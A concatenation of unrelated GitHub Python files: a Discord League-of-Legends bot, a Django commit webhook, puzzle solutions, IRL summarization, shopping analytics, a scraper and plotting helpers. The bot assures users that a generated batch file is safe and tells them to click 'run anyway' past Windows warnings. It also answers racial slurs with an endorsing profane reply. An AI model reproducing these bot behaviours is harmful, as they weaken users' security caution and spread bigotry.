requests.get(\"https://\" + args[2] + \".api.riotgames.com/lol/summoner/v4/summoners/by-name/\" + args[0] + \"?api_key=\" + RIOTOKEN)\r\n if r1.json()['profileIconId'] == 10:\r\n with open('links.json', 'r+') as f:\r\n data = json.load(f)\r\n for name in data['linkedProfiles']:\r\n if message.author.id == name['discordId']:\r\n response = \"You already have a account linked\"\r\n await message.channel.send(response)\r\n return\r\n data['linkedProfiles'].append({\"discordId\":message.author.id, \"summonerName\": args[0], \"leagueServer\" : args[2]})\r\n response = \"You can now use .me instead of your name\"\r\n await message.channel.send(response)\r\n f.seek(0)\r\n json.dump(data, f, indent=4)\r\n f.truncate()\r\n return\r\n\r\n embed = discord.Embed(title = \"Set your profile picture to this one - \", color=0x3cbc8d)\r\n embed.set_thumbnail(url=\"https://ddragon.canisback.com/latest/img/profileicon/10.png\")\r\n await message.channel.send(embed=embed)\r\n\r\n if (PREFIX + 'spectate') in message.content[0:9]:\r\n args = shlex.split(message.content[10:None])\r\n if len(args) > 1:\r\n args[1] = regionchange(args[1])\r\n else:\r\n args.append(\"EUN1\")\r\n region = \"europe\"\r\n\r\n r1 = requests.get(\"https://\" + args[1] + \".api.riotgames.com/lol/summoner/v4/summoners/by-name/\" + args[0] + \"?api_key=\" + RIOTOKEN)\r\n \r\n if r1.status_code == 404:\r\n response = \"Summoner not found\"\r\n await message.channel.send(response)\r\n return\r\n\r\n r2 = requests.get(\"https://\" + args[1] + \".api.riotgames.com/lol/spectator/v4/active-games/by-summoner/\" + r1.json()['id'] + \"?api_key=\" + RIOTOKEN)\r\n\r\n if r2.status_code == 404:\r\n response = \"Summoner not playing\"\r\n await message.channel.send(response)\r\n return\r\n print(r2.status_code, message.author, args[0])\r\n with open('spectate.bat', 'w') as fp:\r\n pass\r\n f = open(\"templatespec.txt\", \"r\")\r\n text = f.read()\r\n text = text.replace(\"\", portchange(args[1]))\r\n text = text.replace(\"\", str(r2.json()['observers']['encryptionKey']))\r\n text = text.replace(\"\", str(r2.json()['gameId']))\r\n text = text.replace(\"\", args[1])\r\n fp.write(text)\r\n batfile = discord.File(r'spectate.bat')\r\n response = \"Here is a file to spectate your selected summoner\"\r\n await message.channel.send(response, file=batfile)\r\n\r\n response = \"this batch file isn't dangerous to your pc so click 'save' in your internet browser and on running the file click 'more info' and 'run anyway'\"\r\n await message.channel.send(response)\r\n \r\n if \"Ondra gaming?\" in message.content[0:13]:\r\n await message.channel.send(\"Zuzka time\")\r\n \r\n if \"niger\" in message.content or \"nigger\" in message.content or \"nigga\" in message.content:\r\n await message.channel.send(\"fuck em\")\r\n\r\nclient.run(DSTOKEN)","repo_name":"Ambralin/TristBOT","sub_path":"tristbot/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":10911,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"18681260531","text":"from django import http\nfrom django.utils import html\nimport json as simplejson\nfrom django.conf import settings\n\nimport xmlrpc.client\n\nSERVER_URL = settings.CIA_RPC_URL\n\nPROJECT_TRANS = {\n 'cia-vc': 'CIA.vc'\n}\n\nGET_RESPONSE = \"\"\"\n \n

\n This is the URL where you can send post-commit JSON notifications to,\n in the format\n \n Google came up with\n

\n\n

\n Set this URL in the Administer tab, in Source,\n Post-Commit Web Hooks, Post-Commit URL,\n and CIA will get a notification whenever a commit happens.\n Don't forget to turn off repository polling in CIA's project settings\n after you did that.\n

\n \n \"\"\"\n\nXML_TEMPLATE = \"\"\"\n \n \n Simple JSON POST parser for google code\n 0.5\n \n \n %(project)s\n \n %(timestamp)s\n \n \n %(revision)s\n %(author)s\n %(rev_url)s\n %(log)s\n \n %(files)s\n \n \n \n \n \"\"\"\n\ndef accept(request):\n if request.method == 'GET':\n return http.HttpResponse(GET_RESPONSE)\n elif request.method != 'POST':\n return http.HttpResponseNotAllowed([\"GET\", \"POST\"])\n\n # Okay, we have a POST.\n server = xmlrpc.client.ServerProxy(SERVER_URL)\n body = request.raw_post_data\n data = simplejson.loads(body)\n info = {}\n\n project = data['project_name']\n if project in PROJECT_TRANS:\n project = PROJECT_TRANS[project]\n info['project'] = html.escape(project)\n info['repo_url'] = html.escape(data['repository_path'])\n for revision in data['revisions']:\n info['revision'] = html.escape(revision['revision'])\n info['rev_url'] = html.escape(revision['url'])\n info['author'] = html.escape(revision['author'])\n info['timestamp'] = html.escape(revision['timestamp'])\n info['log'] = html.escape(revision['message'])\n files = []\n if 'added' in revision:\n for entry in revision['added']:\n files.append('' +\n html.escape(entry) +\n '')\n if 'modified' in revision:\n for entry in revision['modified']:\n files.append('' +\n html.escape(entry) +\n '')\n if 'removed' in revision:\n for entry in revision['removed']:\n files.append('' +\n html.escape(entry) +\n '')\n info['files'] = '\\n '.join(files)\n xml = XML_TEMPLATE % info\n server.hub.deliver(xml)\n\n return http.HttpResponse('Message accepted in queue.')\n","repo_name":"Justasic/cia-vc","sub_path":"cia/apps/deliver/googlejson.py","file_name":"googlejson.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"54"} +{"seq_id":"70021904161","text":"'''\n给定两个有序整数数组 nums1 和 nums2,将 nums2 合并到 nums1 中,使得 num1 成为一个有序数组。\n\n说明:\n\n初始化 nums1 和 nums2 的元素数量分别为 m 和 n。\n你可以假设 nums1 有足够的空间(空间大小大于或等于 m + n)来保存 nums2 中的元素。\n示例:\n\n输入:\nnums1 = [1,2,3,0,0,0], m = 3\nnums2 = [2,5,6], n = 3\n\n输出: [1,2,2,3,5,6]\n'''\n\n\n'''\n48 ms, 6.5 MB\n'''\nclass Solution:\n def merge(self, nums1, m, nums2, n):\n \"\"\"\n :type nums1: List[int]\n :type m: int\n :type nums2: List[int]\n :type n: int\n :rtype: void Do not return anything, modify nums1 in-place instead.\n \"\"\"\n back = nums1[:m]\n i, j, cur = 0, 0, 0\n while i < m or j < n:\n if j == n or (i < m and back[i] <= nums2[j]):\n nums1[cur] = back[i]\n i += 1\n else:\n nums1[cur] = nums2[j]\n j += 1\n cur += 1\n\n'''\n44 ms, 6.5 MB\n'''\nclass Solution:\n def merge(self, nums1, m, nums2, n):\n \"\"\"\n :type nums1: List[int]\n :type m: int\n :type nums2: List[int]\n :type n: int\n :rtype: void Do not return anything, modify nums1 in-place instead.\n \"\"\"\n for num in nums2:\n nums1[m] = num\n m += 1\n nums1.sort()","repo_name":"txwjj33/leetcode","sub_path":"problems_100/088_merge.py","file_name":"088_merge.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"64365086","text":"import re\n\nimport networkx as nx\nfrom aocd import data\n\ng = nx.DiGraph()\nfor rule in data.splitlines():\n bag, contents = re.match(r'(.+) bags contain (.+)', rule).groups()\n for inner in contents.strip('.').split(','):\n inner = inner.strip()\n if inner == 'no other bags':\n g.add_edge(bag, 'empty', weight=0)\n continue\n n, col = re.match(r'(\\d+) (.+) bags?', inner).groups()\n g.add_edge(bag, col, weight=int(n))\n\n# tot = sum(nx.has_path(g, bag, \"shiny gold\") for bag in g.nodes if bag != \"shiny gold\")\ntot = len(nx.dfs_tree(g.reverse(), \"shiny gold\").nodes) - 1\n# 115\nprint(f'part1: {tot}')\n# or\ntot = len(nx.single_target_shortest_path(g, \"shiny gold\")) - 1\nprint(f'part1.1: {tot}')\n\n\ndef get(bag):\n if g.out_degree(bag) == 0:\n return 1\n return sum(g[bag][col]['weight'] * (get(col) + 1) for col in g.neighbors(bag))\n\n\ntot = get('shiny gold')\n# 1250\nprint(f'part2: {tot}')\n","repo_name":"bj0/aoc","sub_path":"aoc/2020/d7alt.py","file_name":"d7alt.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36601774162","text":"# Python imports.\nimport matplotlib.pyplot as plt\nfrom termcolor import colored\nimport numpy as np\nimport itertools\n\n\ndef obtain_summary(n_demonstrations, weights, wt_uniform_sampling, wt_vi_traj_candidates, eval_fn):\n '''\n Args:\n n_demonstrations (int): number of demonstrations to return in summary\n weights (list of floats): ground truth reward weights used by agent to derive its optimal policy\n wt_uniform_sampling (list of candidate reward weights)\n wt_vi_traj_candidates (nested list of candidate reward weights, and corresponding policies and trajectories)\n eval_fn (string): desired likelihood function for computing the posterior probability of weight candidates\n\n Returns:\n IRL_summary (list of MDP/policy and corresponding trajectories of best demonstrations)\n\n Summary:\n An implementation of 'Enabling Robots to Communicate their Objectives' (Huang et al. AURO2019).\n '''\n priors = {} # up-to-date priors on candidates\n history_priors = {} # a history of updated priors for debugging\n\n # parse the desired evaluation function codes\n codes = eval_fn.split('_')\n inf_type = codes[0]\n eval_type = codes[1]\n\n # initialize the prior to be a uniform distribution\n for wt_candidate in wt_uniform_sampling:\n priors[wt_candidate.tostring()] = 1. / len(wt_uniform_sampling)\n history_priors[wt_candidate.tostring()] = [1. / len(wt_uniform_sampling)]\n\n IRL_summary = []\n update_coeff = 1. # 10^-5 to 10^5 used by Huang et al. for approximate inference\n idx_of_true_wt = np.ndarray.tolist(wt_uniform_sampling).index(np.ndarray.tolist(weights))\n demo_count = 0\n\n while demo_count < n_demonstrations and len(wt_vi_traj_candidates) > 0:\n if eval_type == 'MP':\n cond_posteriors = np.zeros(len(wt_vi_traj_candidates))\n else:\n cond_posteriors = np.zeros((len(wt_vi_traj_candidates), len(wt_uniform_sampling)))\n cond_trajectory_likelihoods_trajectories = []\n\n # for each environment\n for env_idx in range(len(wt_vi_traj_candidates)):\n Z = 0 # normalization factor\n wt_vi_traj_candidates_tuples = wt_vi_traj_candidates[env_idx]\n trajectory = wt_vi_traj_candidates_tuples[idx_of_true_wt][2]\n cond_trajectory_likelihoods = {}\n\n # compute the normalization factor\n for wt_vi_traj_candidates_tuple in wt_vi_traj_candidates_tuples:\n wt_candidate = wt_vi_traj_candidates_tuple[0]\n vi_candidate = wt_vi_traj_candidates_tuple[1]\n trajectory_candidate = wt_vi_traj_candidates_tuple[2]\n\n if inf_type == 'exact':\n # a) exact inference IRL\n reward_diff = wt_candidate.dot(vi_candidate.mdp.accumulate_reward_features(trajectory, discount=True).T) - wt_candidate.dot(vi_candidate.mdp.accumulate_reward_features(trajectory_candidate, discount=True).T)\n if reward_diff >= 0:\n cond_trajectory_likelihood = 1\n else:\n cond_trajectory_likelihood = 0\n elif inf_type == 'approx':\n # b) approximate inference IRL\n # take the abs value in case you're working with partial trajectories, in which the comparative rewards\n # for short term behavior differs from comparative rewards for long term behavior\n reward_diff = abs((wt_candidate.dot(vi_candidate.mdp.accumulate_reward_features(trajectory_candidate, discount=True).T) \\\n - wt_candidate.dot(vi_candidate.mdp.accumulate_reward_features(trajectory, discount=True).T))[0][0])\n cond_trajectory_likelihood = np.exp(-update_coeff * reward_diff)\n else:\n raise ValueError(\"Error: The requested inference type is invalid.\")\n\n cond_trajectory_likelihoods[wt_candidate.tostring()] = cond_trajectory_likelihood\n\n Z += cond_trajectory_likelihood * priors[wt_candidate.tostring()]\n\n cond_trajectory_likelihoods_trajectories.append(cond_trajectory_likelihoods)\n\n if eval_type == 'MP':\n # calculate what the new condition probability of the true weight vector would be given this demonstration\n cond_posteriors[env_idx] = 1. / Z * cond_trajectory_likelihoods[weights.tostring()] * priors[weights.tostring()]\n else:\n for wt_cand_idx in range(len(wt_uniform_sampling)):\n wt_candidate = wt_uniform_sampling[wt_cand_idx]\n cond_posteriors[env_idx, wt_cand_idx] = 1. / Z * cond_trajectory_likelihoods[wt_candidate.tostring()] * priors[wt_candidate.tostring()]\n\n if eval_type == 'MP':\n # a) select the demonstration that maximally increases the conditional posterior probability of the true weight vector (MP)\n best_env = np.argmax(cond_posteriors)\n elif eval_type == 'GP':\n # b) select the demonstration that maximally increases gap between the conditional posteriors of the true and the second best weight vector (GP)\n acq_vals = np.zeros(len(wt_vi_traj_candidates))\n cond_posteriors_sans = np.delete(cond_posteriors, idx_of_true_wt, 1)\n max_idx = np.argmax(cond_posteriors_sans, axis=1)\n max_vals = [cond_posteriors_sans[j][max_idx[j]] for j in range(max_idx.shape[0])]\n for env_idx in range(len(max_vals)):\n diff = cond_posteriors[env_idx][idx_of_true_wt] - max_vals[env_idx]\n acq_vals[env_idx] = diff\n best_env = np.argmax(acq_vals)\n elif eval_type == 'VOL':\n # c) select the demonstration that maximally increases the conditional posterior probability of the true weight vector\n # and minimizes the condition posterior probabilities of incorrect weight vectors (VOL)\n acq_vals = np.zeros(len(wt_vi_traj_candidates))\n for env_idx in range(len(wt_vi_traj_candidates)):\n acq_val = 0\n for wt_cand_idx in range(len(wt_uniform_sampling)):\n wt_candidate = wt_uniform_sampling[wt_cand_idx]\n if wt_cand_idx == idx_of_true_wt:\n acq_val += cond_posteriors[env_idx, wt_cand_idx] - priors[wt_candidate.tostring()]\n else:\n acq_val += priors[wt_candidate.tostring()] - cond_posteriors[env_idx, wt_cand_idx]\n acq_vals[env_idx] = acq_val\n best_env = np.argmax(acq_vals)\n print(colored(\"Best acq_val: {}\".format(np.max(acq_vals)), 'red'))\n else:\n raise ValueError(\"Error: The requested evaluation type is invalid.\")\n\n print(colored('Best environment: {}'.format(best_env), 'red'))\n # store the MDP/policy and corresponding trajectory of the best next demonstration\n IRL_summary.append((wt_vi_traj_candidates[best_env][idx_of_true_wt][1], wt_vi_traj_candidates[best_env][idx_of_true_wt][2]))\n # remove this demonstration from further consideration\n wt_vi_traj_candidates.pop(best_env)\n\n # update the prior distribution\n prior_sum = 0.0\n for wt_candidate in wt_uniform_sampling:\n old_prior = priors[wt_candidate.tostring()]\n updated_prior = old_prior * cond_trajectory_likelihoods_trajectories[best_env][wt_candidate.tostring()]\n priors[wt_candidate.tostring()] = updated_prior\n prior_sum += updated_prior\n\n # normalize the prior distribution\n for wt_candidate in wt_uniform_sampling:\n normalized_prior = priors[wt_candidate.tostring()] / prior_sum\n priors[wt_candidate.tostring()] = normalized_prior\n history_priors[wt_candidate.tostring()].append(normalized_prior)\n\n if np.array_equal(wt_candidate, weights[0]):\n print(colored('wt: {}, updated_prior: {}'.format(np.round(wt_candidate, 3), normalized_prior), 'red'))\n else:\n print('wt: {}, updated_prior: {}'.format(np.round(wt_candidate, 3), normalized_prior))\n\n demo_count += 1\n\n return IRL_summary, wt_uniform_sampling, history_priors\n\ndef visualize_summary(summary, wt_uniform_sampling, history_priors, visualize_summary=True, visualize_history_priors=True):\n '''\n :param summary: Bayesian IRL summary (nested list of [MDP/policy, trajectory])\n :param wt_uniform_sampling: Candidate weights considered (numpy ndarray)\n :param history_priors: History of normalized probabilities of each candidate weight being to the true weight (nested list)\n :param visualize_demos: Boolean\n :param visualize_history_priors: Boolean\n\n Summary: Visualize the demonstrations comprising the Bayesian IRL summary and/or the update history of the\n probabilities of the candidate weights\n '''\n if visualize_summary:\n for policy_traj_tuple in summary:\n mdp_demo = policy_traj_tuple[0].mdp\n mdp_demo.visualize_trajectory(policy_traj_tuple[1])\n\n if visualize_history_priors:\n # visualize the evolution of the prior distribution with each new demonstration\n history_priors_per_demo = []\n x = range(len(wt_uniform_sampling))\n\n # group the priors by demo, and not by weight\n for j in range(len(summary) + 1):\n priors_per_wt_candidate = []\n for wt_candidate in wt_uniform_sampling:\n priors_per_wt_candidate.append(history_priors[wt_candidate.tostring()][j])\n history_priors_per_demo.append(priors_per_wt_candidate)\n\n # flatten the list of (x, history_priors_per_demo) tuples\n plt.plot(\n *list(itertools.chain.from_iterable([(x, history_priors_per_demo[j]) for j in range(len(history_priors_per_demo))])))\n plt.xlabel('Candidate reward weight vectors')\n plt.ylabel('Probability of candidates')\n plt.legend(['{}'.format(x) for x in range(len(summary) + 1)], bbox_to_anchor=(1.04, 0.5), loc=\"center left\", borderaxespad=0)\n plt.xticks(range(len(wt_uniform_sampling)), wt_uniform_sampling, rotation=90)\n # plt.savefig('prior_history.png', bbox_inches='tight')\n plt.show()","repo_name":"SUCCESS-MURI/machine-teaching-human-IRL","sub_path":"policy_summarization/bayesian_IRL.py","file_name":"bayesian_IRL.py","file_ext":"py","file_size_in_byte":10352,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"27551258532","text":"from typing import Any, Dict, List, Tuple\n\nfrom shopeepy_wrapped.config.core import config\nfrom shopeepy_wrapped.data.cleaning import clean_dataset\nfrom shopeepy_wrapped.data.data_manager import save_dataset\nfrom shopeepy_wrapped.parsing.parse_orders import generate_orders_df\nfrom shopeepy_wrapped.parsing.parse_products import generate_products_df\n\n\nclass ShopeeInsights:\n def __init__(self, orders: Tuple[Dict]) -> None:\n # Parse Orders() and Products()\n orders_ = generate_orders_df(orders)\n products_ = generate_products_df(orders)\n\n df_orders = clean_dataset(dataframe=orders_, order_type=True)\n df_products = clean_dataset(dataframe=products_, order_type=False)\n\n self.orders = df_orders\n self.completed_orders = df_orders.loc[\n df_orders[\"order_status\"] == \"ORDER COMPLETED\"\n ]\n self.products = df_products.merge(\n self.completed_orders[[\"order_id\", \"order_status\"]], on=\"order_id\"\n )\n self.insights: Dict = {}\n\n self.save_datasets()\n self.generate_insights()\n\n def save_datasets(self) -> None:\n save_dataset(\n file_name=config.data_config.CLEAN_ORDERS_DF_FILENAME, dataset=self.orders\n )\n save_dataset(\n file_name=config.data_config.CLEAN_PRODUCTS_DF_FILENAME,\n dataset=self.products,\n )\n\n return None\n\n def count_orders(self) -> None:\n try:\n orders_count = self.orders.groupby(\"order_status\")[\"order_id\"].count()\n\n self.update_insights_dict(\n [\"cnt_orders_cancelled\", \"cnt_orders_completed\", \"total_checkouts\"],\n [\n orders_count[\"ORDER CANCELLED\"],\n orders_count[\"ORDER COMPLETED\"],\n orders_count[\"ORDER CANCELLED\"] + orders_count[\"ORDER COMPLETED\"],\n ],\n )\n except KeyError:\n pass\n return None\n\n def cnt_orders_by_day(self) -> None:\n try:\n count_orders_by_day_distrib = (\n self.completed_orders.groupby(self.completed_orders.order_placed.dt.day_name())[\n \"order_id\"\n ]\n .count()\n .reset_index()\n )\n\n max_count_orders_by_day = count_orders_by_day_distrib[\"order_id\"].max()\n\n days_with_most_orders_by_cnt = (\n count_orders_by_day_distrib[\"order_placed\"]\n .loc[count_orders_by_day_distrib[\"order_id\"] == max_count_orders_by_day]\n .tolist()\n )\n\n self.update_insights_dict(\n [\n \"count_orders_by_day_distrib\",\n \"day_with_most_orders_by_cnt\",\n \"max_count_orders_by_day\",\n ],\n [\n count_orders_by_day_distrib,\n days_with_most_orders_by_cnt,\n max_count_orders_by_day,\n ],\n )\n\n except KeyError:\n pass\n return None\n\n def cnt_orders_by_hour(self) -> None:\n try:\n count_orders_by_hr_distrib = (\n self.completed_orders.groupby(self.completed_orders.order_placed.dt.hour)[\n \"order_id\"\n ]\n .count()\n .reset_index()\n )\n\n max_count_orders_by_hr = count_orders_by_hr_distrib[\"order_id\"].max()\n\n hour_with_most_orders_by_cnt = (\n count_orders_by_hr_distrib[\"order_placed\"]\n .loc[count_orders_by_hr_distrib[\"order_id\"] == max_count_orders_by_hr]\n .tolist()\n )\n\n self.update_insights_dict(\n [\n \"count_orders_by_hr_distrib\",\n \"hour_with_most_orders_by_cnt\",\n \"max_count_orders_by_hr\",\n ],\n [\n count_orders_by_hr_distrib,\n hour_with_most_orders_by_cnt,\n max_count_orders_by_hr,\n ],\n )\n except KeyError:\n pass\n\n return None\n\n def sum_amt_orders_by_day(self) -> None:\n try:\n sum_amt_orders_by_day_distrib = (\n self.completed_orders.groupby(\n self.completed_orders.order_placed.dt.day_name()\n )[\"order_total\"]\n .sum()\n .reset_index()\n )\n\n max_amt_orders_by_day = sum_amt_orders_by_day_distrib[\"order_total\"].max()\n\n most_expensive_day_by_amt_sum = (\n sum_amt_orders_by_day_distrib[\"order_placed\"]\n .loc[\n sum_amt_orders_by_day_distrib[\"order_total\"]\n == max_amt_orders_by_day\n ]\n .tolist()\n )\n\n self.update_insights_dict(\n [\n \"sum_amt_orders_by_day_distrib\",\n \"most_expensive_day_by_amt_sum\",\n \"max_amt_orders_by_day\",\n ],\n [\n sum_amt_orders_by_day_distrib,\n most_expensive_day_by_amt_sum,\n max_amt_orders_by_day,\n ],\n )\n except KeyError:\n pass\n\n return None\n\n def avg_order_amt_per_day(self) -> None:\n try:\n avg_amt_orders_by_day_distrib = (\n self.completed_orders.groupby(\n self.completed_orders.order_placed.dt.day_name()\n )[\"order_total\"]\n .median()\n .reset_index()\n )\n\n max_avg_amt_orders_by_day = avg_amt_orders_by_day_distrib[\n \"order_total\"\n ].max()\n\n most_expensive_day_by_avg_amt = (\n avg_amt_orders_by_day_distrib[\"order_placed\"]\n .loc[\n avg_amt_orders_by_day_distrib[\"order_total\"]\n == max_avg_amt_orders_by_day\n ]\n .tolist()\n )\n\n self.update_insights_dict(\n [\"avg_amt_orders_by_day_distrib\", \"most_expensive_day_by_avg_amt\"],\n [avg_amt_orders_by_day_distrib, most_expensive_day_by_avg_amt],\n )\n except KeyError:\n pass\n\n return None\n\n def avg_order_amt_per_hr(self) -> None:\n try:\n avg_amt_orders_by_hr_distrib = (\n self.completed_orders.groupby(\n self.completed_orders.order_placed.dt.hour\n )[\"order_total\"]\n .median()\n .reset_index()\n )\n\n max_avg_amt_orders_by_hr = avg_amt_orders_by_hr_distrib[\n \"order_total\"\n ].max()\n\n most_expensive_hr_by_avg_amt = (\n avg_amt_orders_by_hr_distrib[\"order_placed\"]\n .loc[\n avg_amt_orders_by_hr_distrib[\"order_total\"]\n == max_avg_amt_orders_by_hr\n ]\n .tolist()\n )\n\n self.update_insights_dict(\n [\"avg_amt_orders_by_hr_distrib\", \"most_expensive_hr_by_avg_amt\"],\n [avg_amt_orders_by_hr_distrib, most_expensive_hr_by_avg_amt],\n )\n except KeyError:\n pass\n\n return None\n\n\n def get_avg_order_amt(self) -> None:\n try:\n avg_order_amt = self.completed_orders[\"order_total\"].median()\n\n self.update_insights_dict([\"avg_order_amt\"], [avg_order_amt])\n except KeyError:\n pass\n\n return None\n\n def sum_voucher_savings(self) -> None:\n try:\n shopee_voucher_savings = self.completed_orders[\n \"shopee_voucher_applied\"\n ].sum()\n\n shop_voucher_savings = self.completed_orders[\"shop_voucher_applied\"].sum()\n\n total_voucher_savings = shop_voucher_savings + shopee_voucher_savings\n\n self.update_insights_dict(\n [\n \"shopee_voucher_savings\",\n \"shop_voucher_savings\",\n \"total_voucher_savings\",\n ],\n [shopee_voucher_savings, shop_voucher_savings, total_voucher_savings],\n )\n except KeyError:\n pass\n\n return None\n\n def most_expensive_product(self) -> None:\n try:\n completed_products = self.products.loc[\n self.products[\"order_status\"] == \"ORDER COMPLETED\"\n ]\n\n most_exp_product_price = completed_products[\"product_price\"].max()\n\n most_expensive_products = (\n completed_products[\"product_name\"]\n .loc[completed_products[\"product_price\"] == most_exp_product_price]\n .tolist()\n )\n\n self.update_insights_dict(\n [\"most_expensive_products\", \"most_exp_product_price\"],\n [[most_expensive_products], [most_exp_product_price]],\n )\n except KeyError:\n pass\n\n return None\n\n def products_aggregation(self) -> None:\n try:\n avg_product_amt = self.completed_orders[\"product_price\"].median()\n\n self.update_insights_dict([\"avg_product_amt\"], avg_product_amt)\n except KeyError:\n pass\n\n self.most_expensive_product()\n\n return None\n\n def shipping_fees_agg(self) -> None:\n try:\n shipping_fee_no_discount = self.completed_orders.shipping_fee.sum()\n shipping_fee_discounts = (\n self.completed_orders.shipping_discount_subtotal.sum()\n )\n shipping_fee_with_discount = (\n shipping_fee_no_discount - shipping_fee_discounts\n )\n\n self.update_insights_dict(\n [\n \"shipping_fee_no_discount\",\n \"shipping_fee_discounts\",\n \"shipping_fee_with_discount\",\n ],\n [\n shipping_fee_no_discount,\n shipping_fee_discounts,\n shipping_fee_with_discount,\n ],\n )\n except KeyError:\n pass\n\n return None\n\n def update_insights_dict(self, key_list: List[Any], value_list: List[Any]) -> None:\n len_list = len(key_list)\n\n for i in range(len_list):\n self.insights[key_list[i]] = value_list[i]\n\n return None\n\n def generate_insights(self) -> None:\n ###################\n # Orders by count #\n ###################\n\n self.count_orders()\n self.cnt_orders_by_day()\n self.cnt_orders_by_hour()\n\n ####################\n # Orders by amount #\n ####################\n\n self.sum_amt_orders_by_day()\n self.avg_order_amt_per_day()\n self.avg_order_amt_per_hr()\n\n ######################\n # Orders aggregation #\n ######################\n\n self.get_avg_order_amt()\n\n ####################\n # Voucher Savings #\n ####################\n\n self.sum_voucher_savings()\n\n ########################\n # Product aggregation #\n ########################\n\n self.products_aggregation()\n\n ########################\n # Shipping fees #\n ########################\n\n self.shipping_fees_agg()\n","repo_name":"machinelurning/shopeepy-wrapped","sub_path":"shopeepy_wrapped/insighting/insight.py","file_name":"insight.py","file_ext":"py","file_size_in_byte":11538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"30294014747","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\ndef is_int(input):\n\ttry:\n\t\tint(input)\n\texcept ValueError:\n\t\treturn False\n\treturn True\n\n\nbrand = \"ford\"\nmodel = \"fiesta\"\nupholstery = \"CL\"\nyear = \"2013\"\ngear = \"M\"\nfuel = \"D\"\n\nquote_page = 'https://www.autoscout24.com/lst/' + brand + '/' + model + '?sort=price&desc=0&gear=' + gear + '&fuel=' + fuel + '&ustate=N%2CU&priceto=4500&fregfrom=' + year + '&uph=' + upholstery + '&atype=C'\npage = urlopen(quote_page)\nsoup = BeautifulSoup(page, 'html.parser')\n\nbrands = soup.findAll(name = 'h2', attrs = {\"class\" : \"cldt-summary-makemodel sc-font-bold sc-ellipsis\"})\nprices = soup.findAll(name = 'span', attrs = {\"class\" : \"cldt-price sc-font-xl sc-font-bold\"})\n\n\na = 0\npricesList = []\nfor j in range(len(prices)):\n\tfor i in range(len(prices[j].text)):\n\t\tif is_int(prices[j].text[i]):\n\t\t\ta *= 10\n\t\t\ta += int(prices[j].text[i])\n\tpricesList.append(a)\n\ta = 0\n\n\nprices = 0\nfor i in pricesList:\n\tprices += i\n\nprices //= len(pricesList)\n","repo_name":"iliaparvanov/projectglade","sub_path":"cars/carscompare/scraper/autoscout24.py","file_name":"autoscout24.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29814019280","text":"import optuna\nimport plotly\nimport time\nimport random\nimport os\nfrom joblib import Parallel, delayed\n\ndef _func(x, y):\n return (x - 2)**2\n\ndef objective(trial):\n x = trial.suggest_float('x', -10, 10)\n y = trial.suggest_float('y', -3, 3)\n return _func(x, y)\n\ndef main():\n start = time.time()\n study = optuna.create_study()\n study.optimize(objective, n_trials=100)\n print(\"best_params of x, y:{}\".format(study.best_params))\n print(\"best_values of z:{}\".format(study.best_value))\n print(\"best_trial of x, y, z:{}\".format(study))\n print(\"total time is {}\".format(time.time() - start))\n\nif __name__ ==\"__main__\":\n main()","repo_name":"tomoki-trader/data","sub_path":"model/params/optuna1.py","file_name":"optuna1.py","file_ext":"py","file_size_in_byte":651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71333085283","text":"import os, itertools\nimport numpy as np\nfrom config import args\nfrom random import randint\nimport matplotlib.pyplot as plt\n\n\ndef draw_accloss(history):\n plt.plot(history.history['accuracy'])\n plt.plot(history.history['val_accuracy'])\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model acc & loss')\n plt.xlabel('epoch')\n plt.ylabel('acc & val')\n plt.legend(['acc', 'val_acc', 'loss', 'val_loss'], loc='upper left')\n plt.savefig(os.path.join(args.data_dir, args.name, f'{args.model}.best.acc&loss.png'))\n plt.show()\n\n\ndef draw_confusion_matrix(cm):\n labels = ['Angry', 'Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Neutral']\n title='Confusion matrix'\n plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(labels))\n plt.xticks(tick_marks, labels, rotation=45)\n plt.yticks(tick_marks, labels)\n fmt = '.2f'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.tight_layout()\n plt.savefig(os.path.join(args.data_dir, args.name, f'{args.model}.confusion_map.png'))\n plt.show()\n\ndef draw_pred_sample(xtest, ytest, truey, predy, yh):\n labels = ['Angry', 'Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Neutral']\n sample = [randint(0, len(ytest)) for _ in range(10)]\n label_sample = [truey[i] for i in sample]\n pred_sample = [predy[i] for i in sample]\n prob_sample = [max(yh[i]) for i in sample]\n image_sample = np.empty((0, 48, 48, 1))\n\n for i in sample:\n image_sample = np.append(image_sample, np.expand_dims(xtest[i], axis=0), axis=0)\n\n image_sample = np.squeeze(image_sample, axis=3)\n\n plt.figure(figsize=(8,4))\n for i in range(10):\n plt.subplot(2, 5, i+1)\n plt.grid(False)\n plt.imshow(image_sample[i], cmap='gray')\n p = round(prob_sample[i] * 100)\n pred = labels[np.argmax(pred_sample[i])]\n answer = labels[label_sample[i]]\n label = f'predict: {pred}\\n prob: {p}%\\nanswer: {answer}'\n color = 'blue' if answer == pred else 'red'\n plt.xlabel(label, color=color)\n plt.savefig(os.path.join(args.data_dir, args.name, f'{args.model}.pred_sample.png'))\n 